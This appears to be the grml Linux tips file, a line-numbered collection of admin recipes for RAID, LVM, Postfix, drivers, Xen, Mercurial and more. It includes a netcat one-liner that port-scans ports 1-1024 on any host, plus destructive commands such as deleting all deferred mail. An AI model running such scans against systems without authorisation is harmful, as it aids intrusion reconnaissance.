1349 Tune ext2 / ext3 filesystem:
1351 Check partition first:
1353 # tune2fs -l /dev/iceX
1355 If you don't see dir_index in the list, then enable it:
1357 # tune2fs -O dir_index /dev/iceX
1359 Now run e2fsck with the -D option to have the directories optimized:
1361 # e2fsck -D /dev/iceX
1363 Notice: since e2fsprogs (1.39-1) filesystems are created with
1364 directory indexing and on-line resizing enabled by default.
1366 Search for printers via network:
1368 # pconf_detect -m NETWORK -i 192.168.0.1/24
1370 Mount a remote directory via webdav (e.g. Mediacenter of GMX):
1372 # mount -t davfs https://mediacenter.gmx.net/ /mnt/test
1374 System-Profiling using oprofile:
1379 # opcontrol --setup --no-vmlinux --event=CPU_CLK_UNHALTED:500000:0:1:1 --separate=library
1384 Now $DO_SOME_TASKS...
1387 # opcontrol --shutdown
1389 Then take a look at the reports using something like e.g.:
1390 # opreport -t 0.5 --exclude-dependent
1391 # opreport -t 0.5 /path/to/executable_to_check
1392 # opannotate -t 0.5 --source --assembly
1394 Install ATI's fglrx driver for Xorg / X.org:
1396 Usually there already exist drivers for the grml-system:
1397 # apt-get update ; apt-get install fglrx-driver fglrx-kernel-`uname -r`
1399 After installing adjust xorg.conf via running:
1400 # aticonfig --initial --input=/etc/X11/xorg.conf
1402 For more information take a look at http://wiki.grml.org/doku.php?id=ati
1404 Install nvidia driver for Xorg / X.org:
1406 Usually there already exist drivers for the grml-system:
1407 # apt-get update ; apt-get install nvidia-glx nvidia-kernel-`uname -r`
1409 Then switch from module nv to nvidia:
1411 # sed -i 's/Driver.*nv.*/Driver "nvidia"/' /etc/X11/xorg.conf
1413 glxgears - a GLX demo that draws three rotating gears
1415 To print frames per second (fps) use:
1416 % glxgears -printfps
1418 You forgot to boot with 'grml noeject noprompt' to avoid
1419 ejecting and prompting for CD removal when rebooting/halting
1430 If you want to avoid only the prompting part, run:
1438 Mount wikipedia local via fuse:
1440 Adjust configuration:
1441 % cat ~/.wikipediafs/config.xml
1444 <article-cache-time>300</article-cache-time>
1448 <dirname>wikipedia-de</dirname>
1449 <host>de.wikipedia.org</host>
1450 <basename>/w/index.php</basename>
1453 <dirname>wikipedia-en</dirname>
1454 <host>en.wikipedia.org</host>
1455 <basename>/w/index.php</basename>
1460 Mount it (/wiki must exist of course):
1461 % mount.wikipediafs /wiki
1462 % cat /wiki/wikipedia-en/Cat
1465 % fusermount -u /wiki
1467 Remote notification on X via osd (on screen display):
1469 Start osd_server.py at your local host (listens on port 1234 by default):
1472 Then login to a $REMOTEHOST
1473 % ssh -R 1234:localhost:1234 $REMOTEHOST
1475 Now send the text to your local display via running something like:
1476 % echo "text to send" | nc localhost 1234
1478 Very useful when you are waiting for a long running job
1479 but want to do something else in the meanwhile:
1481 % ./configure && make && echo "finished compiling" | netcat localhost 1234
1483 You can use this in external programs as well of course. Examples:
1485 Use osd in centericq:
1487 % cat ~/.centericq/external
1496 if [ -x /usr/bin/socat -a -x /bin/netcat ] ; then
1497 CONTACT_CUSTOM_NICK=$(cat ${CONTACT_INFODIR}/info | head -n 46 | tail -n 1)
1498 osd_msg="*** CenterICQ: new ${EVENT_NETWORK} ${EVENT_TYPE} from ${CONTACT_CUSTOM_NICK} ***"
1499 if echo | socat - TCP4:localhost:1234 &>/dev/null ; then
1500 echo "${osd_msg}" | netcat localhost 1234
1504 Use it in the IRC console client irssi via running:
1508 You can even activate the port forwarding by default globally:
1513 RemoteForward 1234 127.0.0.1:1234
1516 Notice: if you get 'ABORT: Requested font not found' make sure the
1517 requested font is available, running 'LANG=C LC_ALL=C osd_server.py...'
1520 Avoid automatical startup of init scripts via invoke-rc.d:
1522 First of all make sure the package policyrcd-script-zg2 (which
1523 provides the /usr/sbin/policy-rc.d interface) is installed.
1525 In policyrcd-script-zg2's configuration file named
1526 /etc/zg-policy-rc.d.conf the script /usr/sbin/grml-policy-rc.d is
1527 defined as the interface for handling invoke-rc.d's startup policy.
1529 grml-policy-rc.d can be configure via /etc/policy-rc.d.conf. By
1530 default you won't notice any differences to Debian's default
1531 behaviour, except that invoke-rc.d won't be executed if a chroot has
1532 been detected (detection: /proc is missing).
1534 If you want to disable automatical startup of newly installed packages
1535 (done via the invoke-rc.d mechanism) just set EXITSTATUS to '101' in
1536 /etc/policy-rc.d.conf.
1538 To restore the default behaviour set EXITSTATUS back to '0' in
1539 /etc/policy-rc.d.conf.
1541 Install VMware-Tools for grml:
1543 First of all make sure a CD-ROM device in VMware is available.
1545 Mount the CD-ROM device to /mnt/cdrom, then unpack and install
1549 unp /mnt/cdrom/vmware-linux-tools.tar.gz
1550 cd vmware-tools-distrib
1553 /etc/init.d/networking stop
1558 /etc/init.d/networking start
1560 In an X terminal, launch the VMware Tools running:
1564 Some important Postfix stuff
1572 Send all messages in the queue:
1576 Send all messages in the queue for a specific site:
1580 Delete a specific message
1581 # postsuper -d 12345678942
1583 Deletes all messages held in the queue for later delivery
1584 # postsuper -d ALL deferred
1586 Mail queues in postfix:
1588 incoming -> mail who just entered the system
1589 active -> mail to be delivered
1590 deferred -> mail to be delivered later because there were problems
1591 hold -> mail that should not be delivered until released from hold
1593 For configuration of postfix take a look at
1594 /etc/postfix/master.cf - man 5 master
1595 /etc/postfix/main.cf - man 5 postconf
1596 and http://www.postfix.org/documentation.html.
1600 mode 4000 - set user ID (suid):
1602 - for executable files: run as the user who owns the file, instead of the
1603 user who runs the file
1604 - for directories: not used
1606 mode 2000 - set group ID (guid):
1608 - for executable files: run as the group who owns the file, instead of the
1609 group of the user who runs the file
1610 - for directories: when a file is created inside the directory, it belongs
1611 to the group of the directory instead of the default group of the user who
1614 mode 1000 - sticky bit:
1616 - for files: not used
1617 - for directories: only the owner of a file can delete or rename the file
1619 Create MySQL database
1621 # apt-get install mysql-client mysql-server
1623 Run 'mysql' as root - create a database with:
1625 create database grml
1627 Give a user access to the database (without password):
1629 grant all on grml.* to mika;
1631 Give a user access to the database (with password):
1633 grant all on grml.* to enrico identified by "PASSWORD";
1635 Setup an HTTPS website:
1637 Create a certificate:
1641 Create a virtual host on port 443:
1643 <VirtualHost www.foo.invalid:443>
1647 Enable SSL in the VirtualHost:
1650 SSLCertificateFile /etc/apache2/ssl/apache.pem
1652 Enable listening on the HTTPS port (/etc/apache2/ports.conf):
1656 Useful Apache / Apache2 stuff
1658 Check configuration file via running:
1660 # apache2ctl configtest
1668 # a2enmod modulename
1670 Create tar archive and store it on remote machine:
1672 % tar zcf - /sourcedir | ssh user@targethost "cat >file.tgz"
1674 Pick out and displays images from network traffic:
1678 Install Flash plugin:
1680 # dpkg-reconfigure flashplugin-nonfree
1682 To test a proxy, low level way:
1686 GET http://www.google.com HTTP/1.0 [press enter twice]
1688 Adjust system for use of qemu with kqemu:
1690 Make sure you have all you need:
1691 # apt-get update ; apt-get install qemu grml-kerneladdons
1696 mknod /dev/kqemu c 250 0
1697 chmod 666 /dev/kqemu
1698 chmod 666 /dev/net/tun
1700 Check kqemu support via starting qemu, press
1701 Ctrl-Alt-2 and entering 'info kqemu'.
1703 (High-Load) Debugging related tools:
1705 mpstat # report processors related statistics
1706 iostat # report CPU statistics and input/output statistics for devices and partitions
1707 vmstat # report virtual memory statistics
1708 slabtop # display kernel slab cache information in real time
1709 atsar # system activity report
1710 dstat # versatile tool for generating system resource statistics
1721 Using WPA for network setup manually:
1723 # wpa_supplicant -Dwext -iwlan0 -c/etc/wpa_supplicant.conf
1725 Adjust the options and configuration file to your needs.
1726 Also take a look at 'grml-network'.
1728 Start X and lock console via exiting:
1730 % startx 2>~/.xsession-errors &| exit
1732 Which process is writing to disk?
1734 # echo 1 > /proc/sys/vm/block_dump
1736 Warning: you must disable syslogd before you do this, or you must
1737 make sure that kernel output is not logged.
1739 When you're done, disable block dump using:
1740 # echo 0 > /proc/sys/vm/block_dump
1743 laptop-mode-tools provides a tool named lm-profiler (laptop mode profiler)
1744 which handles block_dump on its own.
1746 Install initrd via initramfs-tools for currently running kernel:
1748 # update-initramfs -c -t -k $(uname -r)
1750 Install initrd via yaird for currently running kernel:
1752 # yaird -o /boot/initrd.img-$(uname -r)
1754 Install initrd via yaird for specific kernel:
1758 # yaird -o /boot/initrd.img-2.6.15-1-686 2.6.15-1-686
1760 Reinstall package with its original configuration files:
1762 # apt-get install --reinstall -o DPkg::Options::=--force-confmiss -o \
1763 DPkg::Options::=--force-confnew package
1765 grml 0.8 funkenzutzler - rt2x00 drivers:
1767 To avoid conflicts with the other rt2x00-drivers the package rt2x00 (which
1768 includes beta-version drivers) is not installed by default. If you want to
1769 use the kernel modules rt2400pci, rt2500pci, rt2500usb, rt61pci and/or
1770 rt73usb please install the package manually running:
1772 # dpkg -i /usr/src/rt2x00-modules-*.deb
1774 Use Java with jikes and jamvm on grml:
1778 % cp /usr/share/doc/grml-templates/template.java .
1779 % jikes template.java
1782 Notice that grml exports $JIKESPATH (/usr/share/classpath/glibj.zip),
1783 so you do not have to manually run
1784 jikes --bootclasspath /usr/share/classpath/glibj.zip
1786 Online resizing of (Software-)RAID5:
1788 # Initiate a RAID5 setup for testing purposes:
1789 mdadm --create --verbose /dev/md0 --level=5 --raid-devices=3 /dev/hda1 /dev/hdb1 /dev/hdd1
1791 # Create filesystem, mount md0, create a testfile and save md5sum for
1794 mount /dev/md0 /mnt/test
1795 dd if=/dev/urandom of=/mnt/test/dd bs=512 count=10000
1796 md5sum /mnt/test/dd > md5sum
1798 # Make sure the RAID is synched via checking:
1801 # Now remove one partition:
1802 mdadm /dev/md0 --fail /dev/hdd1 --remove /dev/hdd1
1804 # Delete partition, create a new + bigger one and set partition type to fd
1805 # (Linux raid autodetect):
1808 # And re-add the partition:
1809 mdadm -a /dev/md0 /dev/hdd1
1811 # Make sure the RAID is synched via checking:
1814 # Repeat the steps for all other disks/partitions as well:
1815 mdadm /dev/md0 --fail /dev/hdb1 --remove /dev/hdb1
1817 mdadm -a /dev/md0 /dev/hdb1
1819 mdadm /dev/md0 --fail /dev/hda1 --remove /dev/hda1
1821 mdadm -a /dev/md0 /dev/hda1
1824 # Now resize the RAID5 system online [see 'man mdadm' for details]:
1825 mdadm --detail /dev/md0 | grep -e 'Array Size' -e 'Device Size'
1826 mdadm --grow /dev/md0 -z max
1827 mdadm --detail /dev/md0 | grep -e "Array Size" -e 'Device Size'
1829 # Last step - resize the filesystem (online again):
1832 ext3 online resizing:
1834 Starting with Linux kernel 2.6.10 you can resize ext3 online. With
1835 e2fsprogs >=1.39-1 new filesystems are created with directory indexing and
1836 on-line resizing enabled by default (see /etc/mke2fs.conf).
1840 cfdisk /dev/hda # create a partition with type 8e (lvm)
1841 pvcreate /dev/hda2 # create a physical volume
1842 vgcreate resize_me /dev/hda2 # create volume group
1843 lvcreate -n resize_me -L100 resize_me # create a logical volume
1844 mkfs.ext3 /dev/resize_me/resize_me # now create a new filesystem
1845 mount /dev/resize_me/resize_me /mnt/test # mount the new fs for demonstrating online resizing
1846 df -h # check the size of the partition
1847 lvextend -L+100M /dev/resize_me/resize_me # let's extend the logical volume
1848 resize2fs /dev/resize_me/resize_me # and finally resize the filesystem
1849 df -h # recheck the size of the partition
1851 This also works for Software-RAID. Demo:
1853 mdadm --create --verbose /dev/md0 --level=raid1 --raid-devices=2 /dev/hda2 /dev/hdb1
1855 mount /dev/md0 /mnt/test
1856 mdadm /dev/md0 --fail /dev/hda2 --remove /dev/hda2
1857 cfdisk /dev/hda # adjust partition size for hda2
1858 mdadm /dev/md0 --add /dev/hda2
1859 mdadm /dev/md0 --fail /dev/hdb1 --remove /dev/hdb1
1860 cfdisk /dev/hdb # adjust partition size for hdb1
1861 mdadm /dev/md0 --add /dev/hdb1
1862 mdadm --grow /dev/md0 --size=max
1865 Notice: online resizing works as soon as the kernel can re-read the
1866 partition table. So it works for example with LVM and SW-RAID but not with
1867 a plain device (/dev/[sh]d*). The kernel does not re-read the partition
1868 table if the device is already mounted.
1870 Use vim as an outline editor:
1872 % $PAGER /usr/share/doc/vim-vimoutliner/README.Debian
1876 Monitor directories/files for changes using iwatch
1878 Monitor /tmp for changes:
1881 Monitor files/directories specified in /etc/iwatch.xml
1882 and send mail on changes:
1885 Some often used mdadm commands:
1888 # mdadm --create --verbose /dev/md0 --level=raid1 --raid-devices=2 /dev/hda1 /dev/hdb1
1890 Display details of specific RAID:
1891 # mdadm --detail /dev/md0
1894 Simulating a drive failure by software:
1895 # mdadm --manage --set-faulty /dev/md0 /dev/hda1
1897 Remove disk from RAID:
1898 # mdadm /dev/md0 -r /dev/hda1
1900 Set disk as faulty and remove from RAID:
1901 # mdadm /dev/md0 --fail /dev/hda1 --remove /dev/hda1
1906 Restart a RAID-device:
1909 Add another disk to existing RAID setup (hotadd):
1910 # mdadm /dev/md0 -a /dev/hde1
1911 # mdadm --grow /dev/md0 --raid-devices=4
1913 Assemble and start all arrays:
1914 # mdadm --assemble --scan
1916 Assemble a specific array:
1917 # mdadm --assemble /dev/md0 /dev/sda1 /dev/sdb1 /dev/sdc1
1920 # mdadm --assemble --run --force --update=resync /dev/md0 /dev/sda1 /dev/sda2
1923 # mdadm --stop --scan
1925 Scan for and setup arrays automatically:
1926 # mdadm --assemble --scan --auto=yes --verbose
1928 Notice: If the above does not work make sure /etc/mdadm/mdadm.conf contains:
1930 CREATE owner=root group=disk mode=0660 auto=yes
1935 # /usr/share/mdadm/mkconf > /etc/mdadm/mdadm.conf
1938 Monitoring the sw raid
1939 # nohup mdadm --monitor --mail=root@localhost --delay=300 /dev/md0
1941 Producing /etc/mdadm/mdadm.conf:
1942 # mdadm --detail --scan > /etc/mdadm/mdadm.conf
1944 See also: man mdadm | less -p "^EXAMPLES"
1945 http://www.tldp.org/HOWTO/Software-RAID-HOWTO.html
1947 A quick summary of the most commonly used RAID levels:
1950 => 2 disks each 160 GB: 320 GB data
1951 RAID 1: Mirrored Set
1952 => 2 disks each 160 GB: 160 GB data
1953 RAID 5: Striped Set with Parity
1954 => 3 disks each 160 GB: 320 GB data; 160 GB redundancy
1956 Common nested RAID levels:
1957 RAID 01: A mirror of stripes
1958 RAID 10: A stripe of mirrors
1959 RAID 30: A stripe across dedicated parity RAID systems
1960 RAID 100: A stripe of a stripe of mirrors
1962 -- http://en.wikipedia.org/wiki/RAID
1964 Logical Volume Management (LVM) with Linux
1969 | hda1 hdc1 (PV:s on partitions or whole disks)
1975 | usrlv rootlv varlv (LV:s)
1977 | ext3 ext3 xfs (filesystems)
1979 Often used commands:
1980 ~~~~~~~~~~~~~~~~~~~~
1982 Create a physical volume:
1983 # pvcreate /dev/hda2
1985 Create a volume group:
1986 # vgcreate testvg /dev/hda2
1988 Create a logical volume:
1989 # lvcreate -n test_lv -L100 testvg
1991 Resize a logical volume:
1992 # lvextend -L+100M /dev/resize_me/resize_me
1993 # resize2fs /dev/resize_me/resize_me # ext2/3
1994 # xfs_growfs /dev/resize_me/resize_me # xfs
1995 # resize_reiserfs -f /dev/resize_me/resize_me # reiserfs online
1996 # mount -o remount,resize /dev/resize_me/resize_me # jfs
1998 Create a snapshot of a logical volume:
1999 # lvcreate -L 500M --snapshot -n mysnap /dev/testvg/test_lv
2001 Deactivate a volume group:
2002 # vgchange -a n my_volume_group
2004 Actually remove a volume group:
2005 # vgremove my_volume_group
2007 Display information about physical volume:
2008 # pvdisplay /dev/hda1
2010 Remove physical volume:
2011 # vgreduce my_volume_group /dev/hda1
2013 Remove logical volume:
2014 # umount /dev/myvg/homevol
2015 # lvremove /dev/myvg/homevol
2018 http://www.tldp.org/HOWTO/LVM-HOWTO/
2020 How to use APT locally
2022 Sometimes you have lots of packages .deb that you would like to use APT to
2023 install so that the dependencies would be automatically solved. Solution:
2026 dpkg-scanpackages debs /dev/null | gzip > debs/Packages.gz
2027 echo " deb file:/root debs/" >> /etc/apt/sources.list
2028 dpkg-scansources debs | gzip > debs/Sources.gz
2029 echo " deb-src file:/root debs/" >> /etc/apt/sources.list
2031 See also: http://www.debian.org/doc/manuals/apt-howto/ch-basico.en.html
2033 Check filesystem's LABEL:
2036 # vol_id -l /dev/sda1
2038 ext2/3 without vol_id:
2039 # dumpe2fs /dev/sda1 | grep "Filesystem volume name"
2042 # xfs_admin -l /dev/sda1
2044 reiserfs without vol_id:
2045 # debugreiserfs /dev/sda1 | grep UUID
2047 reiser4 without vol_id:
2048 # debugfs.reiser4 /dev/sda1 | grep uuid
2050 Check filesystem's UUID:
2053 # vol_id -u /dev/sda1
2055 ext2/3 without vol_id:
2056 # dumpe2fs /dev/sda1 | grep UUID
2059 # xfs_admin -u /dev/sda1
2061 reiserfs without vol_id:
2062 # debugreiserfs /dev/sda1 | grep LABEL
2064 reiser4 without vol_id:
2065 # debugfs.reiser4 /dev/sda1 | grep label
2067 Disable pdiffs feature of APT:
2070 # echo 'Acquire::PDiffs "false";' >> /etc/apt/apt.conf
2073 # apt-get update -o Acquire::Pdiffs=false
2075 Backup big devices or files and create compressed splitted
2076 image chunks of it using zsplit
2078 Create backup of /dev/sda named archiveofsda_#.spl.zp in directory
2079 /mnt/sda1/backup, split the files up into chunks of 1GB each and set
2080 read/write buffer to 256kB:
2081 # zsplit -b 256 -N archiveofsda -o /mnt/sda1/backup/ -s 1G /dev/sda
2083 Restore the backup using unzsplit:
2084 # unzsplit -D /dev/sda -d archiveofsda
2086 More usage examples: man zsplit + man unzsplit
2088 Measure network performance using ipserf
2094 % iperf -c <server_address> -V
2098 Server with 128k TCP window size:
2101 Client with running for 60 seconds and bidirectional test:
2102 % iperf -c <server_address> -r -w128k -t60
2104 Framebuffer resolutions:
2106 Resolution in pixels
2107 Color depth | 640x480 800x600 1024x768 1280x1024
2108 256 (8bit)| 769 771 773 775
2109 32000 (15bit)| 784 787 790 793
2110 65000 (16bit)| 785 788 791 794
2111 16.7 Mill.(24bit)| 786 789 792 795
2115 Mode 0x0300: 640x400 (+640), 8 bits
2116 Mode 0x0301: 640x480 (+640), 8 bits
2117 Mode 0x0303: 800x600 (+800), 8 bits
2118 Mode 0x0303: 800x600 (+832), 8 bits
2119 Mode 0x0305: 1024x768 (+1024), 8 bits
2120 Mode 0x0307: 1280x1024 (+1280), 8 bits
2121 Mode 0x030e: 320x200 (+640), 16 bits
2122 Mode 0x030f: 320x200 (+1280), 24 bits
2123 Mode 0x0311: 640x480 (+1280), 16 bits
2124 Mode 0x0312: 640x480 (+2560), 24 bits
2125 Mode 0x0314: 800x600 (+1600), 16 bits
2126 Mode 0x0315: 800x600 (+3200), 24 bits
2127 Mode 0x0317: 1024x768 (+2048), 16 bits
2128 Mode 0x0318: 1024x768 (+4096), 24 bits
2129 Mode 0x031a: 1280x1024 (+2560), 16 bits
2130 Mode 0x031b: 1280x1024 (+5120), 24 bits
2131 Mode 0x0330: 320x200 (+320), 8 bits
2132 Mode 0x0331: 320x400 (+320), 8 bits
2133 Mode 0x0332: 320x400 (+640), 16 bits
2134 Mode 0x0333: 320x400 (+1280), 24 bits
2135 Mode 0x0334: 320x240 (+320), 8 bits
2136 Mode 0x0335: 320x240 (+640), 16 bits
2137 Mode 0x0336: 320x240 (+1280), 24 bits
2138 Mode 0x033c: 1400x1050 (+1408), 8 bits
2139 Mode 0x033d: 640x400 (+1280), 16 bits
2140 Mode 0x033e: 640x400 (+2560), 24 bits
2141 Mode 0x0345: 1600x1200 (+1600), 8 bits
2142 Mode 0x0346: 1600x1200 (+3200), 16 bits
2143 Mode 0x034d: 1400x1050 (+2816), 16 bits
2144 Mode 0x035c: 1400x1050 (+5632), 24 bits
2146 Portscan using netcat:
2148 # netcat -v -w2 <host|ip-addr.> 1-1024
2150 Run apt-get but disable apt-listchanges:
2152 APT_LISTCHANGES_FRONTEND=none apt-get ...
2154 Upgrade system but disable apt-listbugs:
2156 APT_LISTBUGS_FRONTEND=none apt-get ...
2158 Set up a Transparent Debian Proxy
2160 Install of apt-cacher, the default config will do:
2161 # apt-get install apt-cacher
2163 Check out the ip address of debian mirror(s).
2164 Then add this to your firewall script:
2166 DEBIAN_MIRRORS="141.76.2.4 213.129.232.18"
2167 for ip in ${DEBIAN_MIRRORS} ; do
2168 ${IPTABLES} -t nat -A PREROUTING -s $subnet -d $ip -p tcp --dport 80 -j REDIRECT --to-port 3142
2171 where ${IPTABLES} is the location of your iptables binary
2172 and $subnet is your internal subnet.
2174 Now everybody in your subnet who does access either
2175 ftp.de.debian.org or ftp.at.debian.org will actually
2176 access your apt-cacher instead.
2178 To use apt-cacher on the router itself, add the following
2179 line to your /etc/apt/apt.conf:
2181 Acquire::http::Proxy "http://localhost:3142/";
2183 Version control using Mercurial
2185 Setting up a Mercurial project:
2188 % hg init # creates .hg
2189 % hg add # add all files
2190 % hg commit # commit all changes, edit changelog entry
2192 Branching and merging:
2194 % hg clone linux linux-work # create a new branch
2199 % hg pull ../linux-work # pull changesets from linux-work
2200 % hg merge # merge the new tip from linux-work into
2201 # (old versions used "hg update -m" instead)
2202 # our working directory
2203 % hg commit # commit the result of the merge
2207 % cat ../p/patchlist | xargs hg import -p1 -b ../p
2215 % hg export 1234 > foo.patch # export changeset 1234
2217 Export your current repo via HTTP with browsable interface:
2219 % hg serve -n "My repo" -p 80
2221 Pushing changes to a remote repo with SSH:
2223 % hg push ssh://user@example.com/~/hg/
2225 Merge changes from a remote machine:
2227 host1% hg pull http://foo/
2228 host2% hg merge # merge changes into your working directory
2230 Set up a CGI server on your webserver:
2231 % cp hgwebdir.cgi ~/public_html/hg/index.cgi
2232 % $EDITOR ~/public_html/hg/index.cgi # adjust the defaults
2234 Mercurial repositories of grml can be found at http://hg.grml.org/
2236 Download binary codecs for mplayer:
2238 # /usr/share/mplayer/scripts/win32codecs.sh
2240 To play encrypted DVDs and if you are living in a country where using
2241 libdvdcss code is not illegal can install Debian package libdvdread3
2242 and use the script /usr/share/doc/libdvdread3/install-css.sh.
2244 Read manpages of uninstalled packages with debman:
2246 % debman -p git-core git
2248 Test network performance using netperf:
2254 # netperf -t TCP_STREAM -H 192.168.0.41
2256 Setup Xen within 20 minutes on Debian/grml
2258 Install relevant software und update grub's menu.lst (Xen does not work with
2259 usual lilo so install grub instead if not done already):
2261 apt-get install linux-image-2.6.18-1-xen-686 xen-hypervisor-3.0.3-1-i386 \
2262 xen-utils-3.0.3-1 xen-tools bridge-utils
2265 Example for installation of Debian etch as DomU:
2268 xen-create-image --debootstrap --dir=/mnt/md1/xen --size=2Gb --memory=512Mb --fs=ext3 \
2269 --cache=yes --dist=etch --hostname=xengrml1 --ip 192.168.1.2 --netmask 255.255.255.0 \
2270 --gateway 192.168.1.1 --initrd=/boot/initrd.img-2.6.18-1-xen-686 \
2271 --kernel=/boot/vmlinuz-2.6.18-1-xen-686 --mirror=http://ftp.at.debian.org/debian/
2275 /etc/init.d/xend start
2276 /etc/init.d/xendomains start
2278 Setup a bridge for network, either manually:
2280 brctl addbr xenintbr
2281 brctl stp xenintbr off
2282 brctl sethello xenintbr 0
2283 brctl setfd xenintbr 0
2284 ifconfig xenintbr 192.168.1.1 netmask 255.255.255.0 up
2286 or via /etc/network/interfaces (run ifup xenintbr to bring up the device then
2290 iface xenintbr inet static
2291 pre-up brctl addbr xenintbr
2292 post-down brctl delbr xenintbr
2294 netmask 255.255.255.0
2299 Setup forwarding (adjust $PUBLIC_IP; for permanet setup use /etc/sysctl.conf and
2300 add the iptables commands to a startup script like /etc/init.d/rc.local):
2302 echo 1 > /proc/sys/net/ipv4/ip_forward
2303 iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24 -j SNAT --to $PUBLIC_IP
2304 iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to $PUBLIC_IP
2306 Adjust network configuration of Xend:
2308 cat >> /etc/xen/xend-config.sxp << EOF
2309 (network-script network-route)
2310 (vif-bridge xenintbr)
2311 (vif-script vif-bridge)
2314 List domains, start up a DomU, shutdown later again:
2316 xm create -c /etc/xen/xengrml1.cfg
2320 This HowTo is also available online at http://grml.org/xen/